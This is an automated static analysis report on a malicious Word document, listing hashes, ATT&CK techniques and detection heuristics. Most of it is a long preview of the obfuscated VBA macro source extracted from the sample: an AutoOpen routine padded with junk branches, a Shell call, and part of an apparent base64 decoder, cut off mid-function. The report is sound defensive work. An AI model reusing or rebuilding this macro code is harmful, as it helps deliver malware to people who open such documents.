Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1fe36fff9001bdf9…

MALICIOUS

Office (OLE)

262.0 KB Created: 2017-06-28 10:23:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: 370dbf90e09aab47fc622f2d430b29e3 SHA-1: 13e32a028d139fef6bcca4459b426f53665c6fa7 SHA-256: 1fe36fff9001bdf93b3297ea04905234b2f48689f6a567a47bbb2d05a332c3fb
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro is present and attempts to execute code, as indicated by the OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic. The presence of the 'macros.bas' file and the ClamAV detection further support its malicious nature. The primary function appears to be executing arbitrary code, likely to download and run a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
    Call Shell(M3eP5QSLw, jzORn)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "nIo9kBnr"
    Sub AutoOpen()
    VVBksjJ = 18717 / 1101
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74155 bytes
SHA-256: a9ffd82ec59375bb5740958408e8e52c5d674fc0e882026300b9179dc4eb0450
Detection
ClamAV: No threats found
Obfuscation or payload: likely
856 of 1631 identifiers look randomly generated (e.g. 'ArICdcJyArICRuYW1lICsgJy5leGUnO2ZvcmVhY2') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nIo9kBnr"
Sub AutoOpen()
VVBksjJ = 18717 / 1101
Select Case VVBksjJ
Case 6174 / 1029
gcCthTrx = True
Case 10975 / 439
s0gYyjpBI = 50059.302678724
Case 31003 / 721
JVQRLUfX = 31
Case Else
gKW8pnH = 50059.302678724
End Select
HFt5J = 984 + 10
If HFt5J = 6174 / 1029 Then
dhdc3R = 38024.28781209
Else
SoZC8y = -649346458
End If
P2wbM18Y7 = dhdc3R & SoZC8y
f143C2xB = 984 + 10
If f143C2xB = 6174 / 1029 Then
M8Q9dcwq = -571183978
ElseIf f143C2xB = 10975 / 439 Then
arcDZh = -22334
Else
C2qNeHA = -22334
End If
nxUdIzti = M8Q9dcwq & arcDZh & C2qNeHA
SVJbOXr = 18717 / 1101
Select Case SVJbOXr
Case 6174 / 1029
c9425aZ1w = 0
Case 10975 / 439
ws0A3 = 86
Case 31003 / 721
EpA8FZKLd = 0
Case Else
FMix3 = 86
End Select
gvdpKJ5s = 18717 / 1101
Select Case gvdpKJ5s
Case 6174 / 1029
YqrWYOjeu = 116
Case 10975 / 439
GbCAlvcJh = 0
End Select
XUiSC = 2254 / 98
Select Case XUiSC
Case 10935 / 729
yEoyPSAr = GeS19x5f
End Select
ZzDTtH = 2254 / 98
Select Case ZzDTtH
Case 10935 / 729
H0rmCa1 = 9983.5987103412
Case 9072 / 504
TqF2QS = 25859.182428186
Case -195 + 249
W2bl04 = True
Case Else
FBN7G = True
End Select
YDzQGt = 502 + 22
If YDzQGt = 10935 / 729 Then
n8LcWSR = Cdiw8VK
ElseIf YDzQGt = 9072 / 504 Then
C548bTz = 47593.186921707
Else
vwmGOt7g = Cdiw8VK
End If
m2K6tw = n8LcWSR & C548bTz & vwmGOt7g
eQJpPumB = 12862 / 118
Select Case eQJpPumB
Case 1857 - 1844
V7G9aNU = 202
End Select
GsMgdD = 732 + 38
If GsMgdD = 1857 - 1844 Then
tazMtKdjf = 0
End If
s5ilb = s5ilb & tazMtKdjf
rPSTkM = 12862 / 118
Select Case rPSTkM
Case 1857 - 1844
Va8bY = FJnMv2b
Case -411 + 433
hS96Qv = FJnMv2b
End Select
SRCel7cvJ = 732 + 38
If SRCel7cvJ = 1857 - 1844 Then
R6j4mKVao = 206
End If
ZhjwF = ZhjwF & R6j4mKVao
KWxb8B2AR = 732 + 38
If KWxb8B2AR = 1857 - 1844 Then
igufHwZ0 = 15971
Else
ORqDdhjF = 46800.209833888
End If
SGMiPov = igufHwZ0 & ORqDdhjF
VCz0gjGh = 428 - 371
Select Case VCz0gjGh
Case 28656 / 3184
a8qMWCJm = False
End Select
htkxub5 = 428 - 371
Select Case htkxub5
Case 28656 / 3184
OLukbODUS = 84
Case 834 - 812
Bkn4lsAx = 0
Case -632 + 671
kqsOA = 0
Case Else
GwbjGS = True
End Select
j7Lkz = 428 - 371
Select Case j7Lkz
Case 28656 / 3184
JAL9nEio0 = 195.79259570909
Case 834 - 812
b7oq1R3Am = -22433
Case -632 + 671
YvzhKnU5N = 195.79259570909
End Select
hR8CSNln = 428 - 371
Select Case hR8CSNln
Case 28656 / 3184
iAmPc = ITi2v5gMZ
Case 834 - 812
jf7IZCU = 11999.734443906
End Select
EQOogI6nj = 724 + 31
If EQOogI6nj = 4648 - 4643 Then
H3q2I = 91
End If
dy4VoqW7Y = dy4VoqW7Y & H3q2I
QmbC1E = 724 + 31
If QmbC1E = 4648 - 4643 Then
dsytpb7a = XdNefVh
End If
T4A9HW = T4A9HW & dsytpb7a
PdufxrKb = 938 - 927
Select Case PdufxrKb
Case 4648 - 4643
FYWDZ = 225
End Select
imkNWc = 938 - 927
Select Case imkNWc
Case 4648 - 4643
EQ4r9fYVG = 28168.33728864
Case 696 / 29
w8WgZft = 23680
Case 23876 / 508
RvUiq = True
Case Else
IDIeFrz = 61196.872200141
End Select
tN2T0RlUa = 938 - 927
Select Case tN2T0RlUa
Case 4648 - 4643
dVK9jtL = 32142.870316382
End Select
hJmLDE = 127 - 2
Select Case hJmLDE
Case 14414 / 14414
FwRGByv = False
Case -192 + 215
ID7cuIGE = Ne93y
Case 1764 / 49
jhCQSBJm = -68969888
Case Else
TrISGBsw = 19981
End Select
UqJkV3 = 127 - 2
Select Case UqJkV3
Case 14414 / 14414
PVfXSzj = 140
Case -192 + 215
xbNsPorLf = 24083.121742688
Case 1764 / 49
NNsvnF1t = OVj1ibIX
Case Else
Rwk69Izt4 = 24083.121742688
End Select
pW39MHo = 127 - 2
Select Case pW39MHo
Case 14414 / 14414
V071fv = 17320.064538701
Case -192 + 215
yez9wkU5D = False
End Select
t4erfdZ = 461 + 27
If t4erfdZ = 21000 / 1500 Then
qowcy8VrG = False
ElseIf t4erfdZ = 698 - 669 Then
Bm3DQAW = -23536
Else
iV1eMD = -23536
End If
f9TZt = qowcy8VrG & Bm3DQAW & iV1eMD
mlsWMt = -631 + 658
Select Case mlsWMt
Case 21000 / 1500
iNtcbmMpO = -30938
Case 698 - 669
BOF5G6Ed = False
Case 8680 / 140
kATB8MuXQ = 18370.300769533
Case Else
nrz9Mm = -30938
End Select
Zi2q4u = -631 + 658
Select Case Zi2q4u
Case 21000 / 1500
yu6a9 = rc2Nxj
Case 698 - 669
D9jcmArg5 = -529607234
Case 8680 / 140
Vmk5WSzi = False
Case Else
BnZ3c = 44613.627813464
End Select
hCtUm1 = 544 - 57
If hCtUm1 = 2796 / 233 Then
NT3U9o = False
End If
LWUPFD = LWUPFD & NT3U9o
d2D1GQoU = 44 * 2
Select Case d2D1GQoU
Case 2796 / 233
ZgCMP9 = -3258
Case 528 - 503
SsdIMfB6g = RB3XOV
Case 149 - 100
Mfd1Nb5 = 57213.596385646
Case Else
tiAjSQc = 206
End Select
R7mAgz = 44 * 2
Select Case R7mAgz
Case 2796 / 233
DloiL = True
Case 528 - 503
noueIf = 85
Case 149 - 100
oV9D5dvaj = True
Case Else
gF1SsKGNQ = DVsYP6k0y
End Select
glCK6wS = 28712 / 388
Select Case glCK6wS
Case 967 - 953
SK4W1M = 29366
End Select
TeVax = -252 + 315
If TeVax = 967 - 953 Then
SqhBnHSJ = -982
ElseIf TeVax = -571 + 600 Then
d2YKF = 0
Else
OvhcsP = 0
End If
sxmsqFXz = SqhBnHSJ & d2YKF & OvhcsP
g7SJBY = -252 + 315
If g7SJBY = 967 - 953 Then
B5xWOZ1a = 33625.701093289
End If
jBAfx = jBAfx & B5xWOZ1a
swxJAN = 28712 / 388
Select Case swxJAN
Case 967 - 953
PohH2L = 39
Case -571 + 600
F2CYHe3Pm = 1001.4581499284
End Select
PUXw3mVc6 = 20085 / 195
Select Case PUXw3mVc6
Case -705 + 716
Cx1Pca = -18709
Case -820 + 840
cQkKpg = 6675.6763480347
Case -438 + 483
C5OVjl = 33
End Select
REeAr8s4B = 20085 / 195
Select Case REeAr8s4B
Case -705 + 716
XVCq5Q = 208
End Select
gvrTCyK = 880 - 36
If gvrTCyK = -705 + 716 Then
PsGBqp3l6 = 13164.615382354
ElseIf gvrTCyK = -820 + 840 Then
XXbT12I = -14157
Else
LjB7Z20dy = 13164.615382354
End If
AZlRb = PsGBqp3l6 & XXbT12I & LjB7Z20dy
OjMF1S = 31008 / 228
If OjMF1S = 12280 / 1228 Then
jdJOS = ix7zyQCP
End If
p5KhZ = p5KhZ & jdJOS
CZqgc72M = 8701 / 113
Select Case CZqgc72M
Case 12280 / 1228
GVXoFA = 21303.993724592
End Select
Ob4O5k9 = 31008 / 228
If Ob4O5k9 = 12280 / 1228 Then
G9g0Rh = tRBj94yaO
Else
r4dFy5R = 16
End If
ZhiVJF681 = G9g0Rh & r4dFy5R
r5Z9pjU = 31008 / 228
If r5Z9pjU = 12280 / 1228 Then
UFe3nYSjg = True
End If
KRwCdGla = KRwCdGla & UFe3nYSjg
Jm4OA8L7y = 12540 / 95
If Jm4OA8L7y = -5300 + 5303 Then
jdD72qcL = 129
ElseIf Jm4OA8L7y = 17082 / 949 Then
fuIgXxy = 35907.243550843
Else
nyVmfK = 35907.243550843
End If
dclHAZ = jdD72qcL & fuIgXxy & nyVmfK
Y586Y = 122 - 67
Select Case Y586Y
Case -5300 + 5303
f3RVT = 158
Case 17082 / 949
s8MEp0Ge = True
Case -26 + 76
hZ3LlIj = 158
End Select
XCxyMdp = 122 - 67
Select Case XCxyMdp
Case -5300 + 5303
rQzRrK5dC = 420.32363005083
End Select
BlEJjUCm = 122 - 67
Select Case BlEJjUCm
Case -5300 + 5303
qmDXSl = 0
Case 17082 / 949
u9I6qh = KJpKgZ7H
End Select
bo9w5pHEb
bMwmuhkQS = 21645 / 45
If bMwmuhkQS = 9900 / 660 Then
wPrNEcdfJ = False
End If
nIL9WzhgH = nIL9WzhgH & wPrNEcdfJ
vAIF7 = 21645 / 45
If vAIF7 = 9900 / 660 Then
Wmalrz = -1042815390
Else
vxVgUR5N = 60202.632674975
End If
JtSuRYX6 = Wmalrz & vxVgUR5N
dUeDz = -200 + 285
Select Case dUeDz
Case 9900 / 660
w6ygh7w = True
Case 1901 - 1885
hqniu = 6583.4146307849
End Select
CIOjBwu = -200 + 285
Select Case CIOjBwu
Case 9900 / 660
BpnC2 = 0
End Select
mapTzlU = 334 - 284
Select Case mapTzlU
Case 12306 / 12306
E9ymX0 = 23561
End Select
a2l0c6 = 334 - 284
Select Case a2l0c6
Case 12306 / 12306
JdtqkC0W = -533496180
Case -459 + 489
rDlJtFm1 = 136
End Select
gBchyOQ3l = 334 - 284
Select Case gBchyOQ3l
Case 12306 / 12306
xGjC0v4w = 52236.265827105
Case -459 + 489
zjbBd = OF28x
Case 444 - 400
P3qR8cZ = 0
End Select
h2B3vdqac = 334 - 284
Select Case h2B3vdqac
Case 12306 / 12306
LZ17A = 0
End Select
Qh9Pnby = 13356 / 21
If Qh9Pnby = 5062 - 5056 Then
zQSDJ = False
Else
iVHWsB = B2Xi1Hqku
End If
AKAMBqskU = zQSDJ & iVHWsB
sampq = 13356 / 21
If sampq = 5062 - 5056 Then
DxcWwg = -2020805782
ElseIf sampq = 221 - 193 Then
hMOmf2NDp = e43snBbM
Else
FiQvsN = False
End If
aOz36 = DxcWwg & hMOmf2NDp & FiQvsN
Fl4ek2Tv1 = -5 + 126
Select Case Fl4ek2Tv1
Case 5062 - 5056
JBQUAzP = 55630.91367507
Case 221 - 193
mFO70ZzMs = -32312
End Select
mNCWYfVz9 = -5 + 126
Select Case mNCWYfVz9
Case 5062 - 5056
UVwq7 = True
Case 221 - 193
oujq78I = 32444.359162895
End Select

sjXFv = 65 + 42
Select Case sjXFv
Case 2169 - 2166
CUVK0M98 = 38136.333865441
Case -134 + 165
ylefISP = False
Case -539 + 578
JaG2oRS = 204
End Select
CdEYG = 65 + 42
Select Case CdEYG
Case 2169 - 2166
OufXgjJ = XDzaPqkT
Case -134 + 165
MLemY = XDzaPqkT
End Select
BvKn7 = 431 - 37
If BvKn7 = 2169 - 2166 Then
wY5wgK0QE = 20
End If
kSmFHq1No = kSmFHq1No & wY5wgK0QE
zwjsyR = 431 - 37
If zwjsyR = 2169 - 2166 Then
xVyMg9Kc = 32829.091553474
Else
M680Kj = 42418.572258776
End If
dXmDlst7 = xVyMg9Kc & M680Kj
dTEdzC6J2 = -283 + 351
Select Case dTEdzC6J2
Case 4744 / 2372
ZCGrpx = 11
Case 557 - 539
jH8pBXi = LWlEcw3RI
Case -512 + 569
QhdUKjD = 38037.712107126
Case Else
bgU5kNA = -3551
End Select
M0c2HTs = -283 + 351
Select Case M0c2HTs
Case 4744 / 2372
mMrG8 = True
Case 557 - 539
cMyD8Ovob = 14046.219294059
Case -512 + 569
mmHZMxBa = True
Case Else
ycJIDn57 = wbRjeKMcm
End Select
tcLQkHGY = -283 + 351
Select Case tcLQkHGY
Case 4744 / 2372
Olj7Kz3DY = -392952116
Case 557 - 539
weqtz = DL4sXwnM
Case -512 + 569
k2X9vb = 4388.0143547858
End Select
W0lRFfgd8 = -283 + 351
Select Case W0lRFfgd8
Case 4744 / 2372
N0TyH41Rf = 60787.576981793
End Select
VqLvHPMx = 570 - 528
If VqLvHPMx = 2721 - 2710 Then
F12wo = -1264101860
Else
HuZXUKB = wQwKS
End If
k09iR = F12wo & HuZXUKB
bCFi5Z = 11815 / 139
Select Case bCFi5Z
Case 2721 - 2710
yY5Vr8bK = 0
Case 740 - 711
m6F1o7BXn = ygQXPsl
Case -182 + 226
JuKfpM = 49514.257941166
End Select
Au6fv71O9 = 570 - 528
If Au6fv71O9 = 2721 - 2710 Then
WW6cvTx = 175
End If
wxTc0K = wxTc0K & WW6cvTx
ZtEBAOg4 = 570 - 528
If ZtEBAOg4 = 2721 - 2710 Then
jyoU0x = -15266
ElseIf ZtEBAOg4 = 740 - 711 Then
fFnXc = 37775.473425703
Else
bv4QUeu = True
End If
Pg6apM = jyoU0x & fFnXc & bv4QUeu
FyKSs6 = -277 + 361
Select Case FyKSs6
Case -149 + 165
CPH5cOD = 0
Case -340 + 372
M5Rw2ODW = 0
Case 106 - 60
Zb4myKl1s = 0
End Select
GiKb7Pzl = 4368 / 78
If GiKb7Pzl = -149 + 165 Then
rz26EQa = 12646.280870277
Else
ySqRGAo = 6
End If
X9bWv = rz26EQa & ySqRGAo
A7KA3 = -277 + 361
Select Case A7KA3
Case -149 + 165
x9j7Cuh = 7932.6987968231
Case -340 + 372
zz8CM = -22114
Case 106 - 60
Qe4J5zv = -22114
End Select
lZ9gqiQo = -277 + 361
Select Case lZ9gqiQo
Case -149 + 165
xXsj1Z = -1287728512
End Select
End Sub

Attribute VB_Name = "bEs5f29"
Private Const t9wbB = 174080 * 96
Private Const Bhd6m = 46939 + 18341
Private Const e9oZr = 196 + 59
Private Const F4fqTn5y = 674234368 / 2572
Private Const dQXzD4w = 24576 / 6
Private Const JxBPda4 = 19584 / 306
Private Const rfQbmv0dA = 334 - 78
Private Const oMAfz = 128450560 / 1960
Public Function t1KjOSo(WKor3 As String) As String
Dim NNpH6() As Byte
Dim CMf83() As Byte
Dim HbHnXSVg(255) As Byte
Dim gZUwFltnV(63) As Long
Dim kJsmR1jr7(63) As Long
Dim KKB2thgG(63) As Long
Dim x68RVOQ As Long
Dim gIpxbQO As Integer
Dim lChar As Long
Dim lPos As Long
Dim sOut As String
Dim qFrTDRQ As Long
VHQjC2OIL = 703 - 38
If VHQjC2OIL = 9624 / 1203 Then
MuXgQ0IZ = 0
Else
vVJFNWubK = 3
End If
wYB7rgwv = MuXgQ0IZ & vVJFNWubK
OPuCUM = 703 - 38
If OPuCUM = 9624 / 1203 Then
Mj6K4eZ = 0
ElseIf OPuCUM = 567 - 536 Then
fCDiqWKUB = -238
Else
aEOgasip = 243
End If
SvOJz8Q2e = Mj6K4eZ & fCDiqWKUB & aEOgasip
aNjg1 = 703 - 38
If aNjg1 = 9624 / 1203 Then
Fe6L3m = 25504.864796504
Else
qOt8M = 155
End If
jXG2jl0 = Fe6L3m & qOt8M
cM5pW7Yd = -310 + 372
Select Case cM5pW7Yd
Case -26672 + 26673
schjU9 = 0
Case 1554 - 1537
ZnPKtj = 5495.225425798
Case 15498 / 378
J54Bwfg = 54585.123116269
End Select
pvIafn = -310 + 372
Select Case pvIafn
Case -26672 + 26673
PXfJQC7FA = False
Case 1554 - 1537
Gzq5M4Vy = -17252
Case 15498 / 378
p4xZCT3R = False
Case Else
ngYDXruK = RpY0tJvPZ
End Select
M4whLuy = -310 + 372
Select Case M4whLuy
Case -26672 + 26673
lNHbT = 25183.834499595
Case 1554 - 1537
IdMwJ = MS8iu
Case 15498 / 378
rgsJG8fH = -15458
Case Else
ihiUxm4S = 25183.834499595
End Select
V8jZP = 18935 / 541
If V8jZP = -26672 + 26673 Then
UJ80mO = ok0QFVgc
Else
HmG9wCeF2 = 129
End If
BAXb6mld = UJ80mO & HmG9wCeF2
WKor3 = Replace(WKor3, vbCr, vbNullString)
nK0ME98m = 146 - 56
Select Case nK0ME98m
Case 1167 - 1156
NQDbLR = True
Case 1246 - 1223
OGTX4x = 131
Case 9344 / 292
vhkF7c = 131
Case Else
eCsAvNPd = 0
End Select
IKyXPSDg = 146 - 56
Select Case IKyXPSDg
Case 1167 - 1156
hZR4eTIv = True
End Select
ENP5AGI = 538 - 42
If ENP5AGI = 1167 - 1156 Then
ekYNH = 48
Else
EqJPM4 = 41819.161589054
End If
HiOY4GJL9 = ekYNH & EqJPM4
aT8rlDC = 146 - 56
Select Case aT8rlDC
Case 1167 - 1156
NUqGh = 0
Case 1246 - 1223
hfuvVWYRd = exBtAXOq
Case 9344 / 292
efEVH4 = 0
End Select
rfjlI4Dbt = 16440 / 30
If rfjlI4Dbt = -1634 + 1650 Then
PSYRM = 23718.855562589
End If
VRJHs9MjB = VRJHs9MjB & PSYRM
P93cvsWaM = 16440 / 30
If P93cvsWaM = -1634 + 1650 Then
nGjnY = s1S8aU
End If
WSvzZxd = WSvzZxd & nGjnY
OJ6UA = 16440 / 30
If OJ6UA = -1634 + 1650 Then
B4r8l = True
End If
dVFwZuo = dVFwZuo & B4r8l
TuB6bVk = 16440 / 30
If TuB6bVk = -1634 + 1650 Then
q2Nhze6F = -12175
Else
En3phrD = True
End If
IuSMbUrJB = q2Nhze6F & En3phrD
E3BWp7 = 3485 - 3483
Select Case E3BWp7
Case 7372 - 7368
FD5wygqs = 26593
Case 21242 / 817
tRDaj3r = dFNQfBG
Case 8 * 5
voaLy50 = 65305.2877101
Case Else
Eholt = 65305.2877101
End Select
Ibwme = 3485 - 3483
Select Case Ibwme
Case 7372 - 7368
nFMxiEt = WLnDQo
Case 21242 / 817
J7wfPh = WLnDQo
Case 8 * 5
l9sETtS = 58327.452802215
Case Else
qD8HM1E5 = 0
End Select
niMu6x = 3485 - 3483
Select Case niMu6x
Case 7372 - 7368
EhV4Tm = 52939.107508061
Case 21242 / 817
OS19Z = 52939.107508061
Case 8 * 5
gJpvmh2Yl = True
End Select
ah6XnoR = 6831 / 297
If ah6XnoR = 7372 - 7368 Then
imlr0vwae = 58938.441298516
ElseIf ah6XnoR = 21242 / 817 Then
sHWZGV = -1011724242
Else
yjVumTd = 63225.749316781
End If
JoRl7nU = imlr0vwae & sHWZGV & yjVumTd
WKor3 = Replace(WKor3, vbLf, vbNullString)
MTg9sR7un = 299 - 195
Select Case MTg9sR7un
Case 12124 / 12124
cbVMEvO = 27444.803173844
End Select
wryRZIw = 11186 / 17
If wryRZIw = 12124 / 12124 Then
Yyu5Sj4 = 59
ElseIf wryRZIw = 7967 / 257 Then
EVenQ7 = qhbWIsdQ
Else
lpxT5B = -27236
End If
Z0E6JnIGf = Yyu5Sj4 & EVenQ7 & lpxT5B
puVjeQc = 299 - 195
Select Case puVjeQc
Case 12124 / 12124
V0WCXnh5R = False
End Select
QdrEIkVJ = -635 + 677
Select Case QdrEIkVJ
Case 2835 - 2828
COuRqQ = 37075.045770478
Case 25653 / 1509
SE4m17Yo = uFcyIY
Case -436 + 486
QCPLU = uFcyIY
Case Else
f5eYp = 235
End Select
BVjADB6 = -635 + 677
Select Case BVjADB6
Case 2835 - 2828
GdV62rk5q = -1180858056
Case 25653 / 1509
Embzc = 51747.633804502
Case -436 + 486
x8VsL = -1180858056
End Select
vCnMlHy4 = 845 - 17
If vCnMlHy4 = 2835 - 2828 Then
ttc8TY = 167
End If
eXyezYx = eXyezYx & ttc8TY
gAUl2 = 845 - 17
If gAUl2 = 2835 - 2828 Then
TagNc1rUS = 43059.329985478
Else
cXZ1QzJ = False
End If
AmjSIBRca = TagNc1rUS & cXZ1QzJ
sIc931sR0 = 16125 / 129
Select Case sIc931sR0
Case 16368 / 1023
iT43ZP = 58640.098918969
Case -259 + 281
fgKyq26 = njcioMPFf
Case -554 + 604
xLEfd0z = njcioMPFf
End Select
GxeEvlhT3 = 11050 / 65
If GxeEvlhT3 = 16368 / 1023 Then
hEVzqc = 0
ElseIf GxeEvlhT3 = -259 + 281 Then
MM2sZU = TX5UnBWM
Else
nGeHZ9 = TX5UnBWM
End If
SpTarx5XQ = hEVzqc & MM2sZU & nGeHZ9
FuvyUpoI = 16125 / 129
Select Case FuvyUpoI
Case 16368 / 1023
ylvcy = 0
End Select
sUbxOl = 16125 / 129
Select Case sUbxOl
Case 16368 / 1023
F12kSjH = 31766
End Select
qFrTDRQ = Len(WKor3) Mod 4
vM2S8 = 27734 / 566
Select Case vM2S8
Case 30195 / 2013
Hc5RGx = 50274.855120577
Case 27200 / 850
fjhL05qW = 50274.855120577
Case 30888 / 936
nucpUr = -1161913720
End Select
xzieEUHTf = 565 + 49
If xzieEUHTf = 30195 / 2013 Then
s6okwOQ = 19800.116454295
ElseIf xzieEUHTf = 27200 / 850 Then
vJsZ1nV = False
Else
zkplx = False
End If
hGh4s3 = s6okwOQ & vJsZ1nV & zkplx
Rl0TXmc = 565 + 49
If Rl0TXmc = 30195 / 2013 Then
vG4cTV5dr = 0
Else
RLxgebGJ = True
End If
pesNGX0Sv = vG4cTV5dr & RLxgebGJ
taQAOHk7E = 27734 / 566
Select Case taQAOHk7E
Case 30195 / 2013
FVbB6h = False
End Select
wowbAgp9I = 565 + 49
If wowbAgp9I = 30195 / 2013 Then
pOq90pG71 = -13378
End If
rNHrM = rNHrM & pOq90pG71
atLhn = 973 + 32
If atLhn = 14124 / 2354 Then
SvJHnT = True
Else
Aq5jfL = Yi9gDaL
End If
gprdX = SvJHnT & Aq5jfL
SB4cfSaeL = 8979 / 73
Select Case SB4cfSaeL
Case 14124 / 2354
yx27aG6 = 11078.370883906
Case -611 + 630
uOV3lnZD = 125
Case 71 - 33
HnExYBky = True
Case Else
GaEK9 = 26423
End Select
WzjvqQ0 = 973 + 32
If WzjvqQ0 = 14124 / 2354 Then
J9Nzk6 = 192
ElseIf WzjvqQ0 = -611 + 630 Then
O7n8RwD = GgWQyGkl
Else
WNAn6SiXu = GgWQyGkl
End If
fBU7qC = J9Nzk6 & O7n8RwD & WNAn6SiXu
If InStrRev(WKor3, "==") Then
RWNlAdT = 1517 - 1507
Select Case RWNlAdT
Case 1631 - 1623
SikDNTzRW = -1403665174
Case 314 - 287
j0saT = 49400.352144414
Case -278 + 332
tVGX0E = 49400.352144414
Case Else
DhlJ7HF = 43097.815147572
End Select
I06pQ7 = 781 + 33
If I06pQ7 = 1631 - 1623 Then
q5NpirhL = 0
End If
fP3T9Kdy = fP3T9Kdy & q5NpirhL
JaxTbs = 781 + 33
If JaxTbs = 1631 - 1623 Then
Uu5HN83T = 27575
End If
eyOiv = eyOiv & Uu5HN83T
ct97REu = 781 + 33
If ct97REu = 1631 - 1623 Then
H70ksTW = -27370
End If
QtjJKU = QtjJKU & H70ksTW
NputSMo = 1517 - 1507
Select Case NputSMo
Case 1631 - 1623
i7Sszat = tHqNZgw3
End Select
kE3tMW5SA = -688 + 708
Select Case kE3tMW5SA
Case 3318 / 474
DXrQ4xD = 0
Case 4032 / 192
UgD87aYN = -23175
Case 9994 / 263
W80bv = 64545.133517106
Case Else
sJnj4Ll = 0
End Select
zYwlJ = -688 + 708
Select Case zYwlJ
Case 3318 / 474
chJT8tX = True
End Select
mDcNepq = -688 + 708
Select Case mDcNepq
Case 3318 / 474
TvhKXW = 40697.625327305
End Select
ChQj1SvEI = 12521 / 19
If ChQj1SvEI = 2171 - 2158 Then
OSo2nRmi = -255519686
ElseIf ChQj1SvEI = -880 + 909 Then
xovyBqJ = False
Else
oJb74 = -27187
End If
e2NCB = OSo2nRmi & xovyBqJ & oJb74
BPd5m = 12521 / 19
If BPd5m = 2171 - 2158 Then
ZCyzAWr = -6619
Else
oUPBc = 39120.176057522
End If
HcXIj8ioy = ZCyzAWr & oUPBc
sLrg5OUQ = 12521 / 19
If sLrg5OUQ = 2171 - 2158 Then
QQ49zrM = h0V5KT
ElseIf sLrg5OUQ = -880 + 909 Then
nmFRb5vK = 49188.231626605
Else
DOw4G9N1 = False
End If
GPY5fu = QQ49zrM & nmFRb5vK & DOw4G9N1
UNe6iohS = -17 + 60
Select Case UNe6iohS
Case 2171 - 2158
F8dva7 = 9506.2003423126
Case -880 + 909
dD3ilQOI4 = False
Case -332 + 366
xdhpXcO = 149
End Select
EpntL = 12521 / 19
If EpntL = 2171 - 2158 Then
Fzkyu = 17656
End If
gjeGQWwU = gjeGQWwU & Fzkyu
gIpxbQO = 2
ElseIf InStrRev(WKor3, "=") Then
ofHis = 307 - 241
Select Case ofHis
Case 20526 / 3421
avJ7i = 67
Case 15834 / 754
L9InfLm = -10052
Case 105 - 64
k2O73uX = Z78Ww
End Select
vmjW7 = 166 * 5
If vmjW7 = 20526 / 3421 Then
dKmc2hV = -11442
End If
lgkpE = lgkpE & dKmc2hV
oy1kLXZU = 307 - 241
Select Case oy1kLXZU
…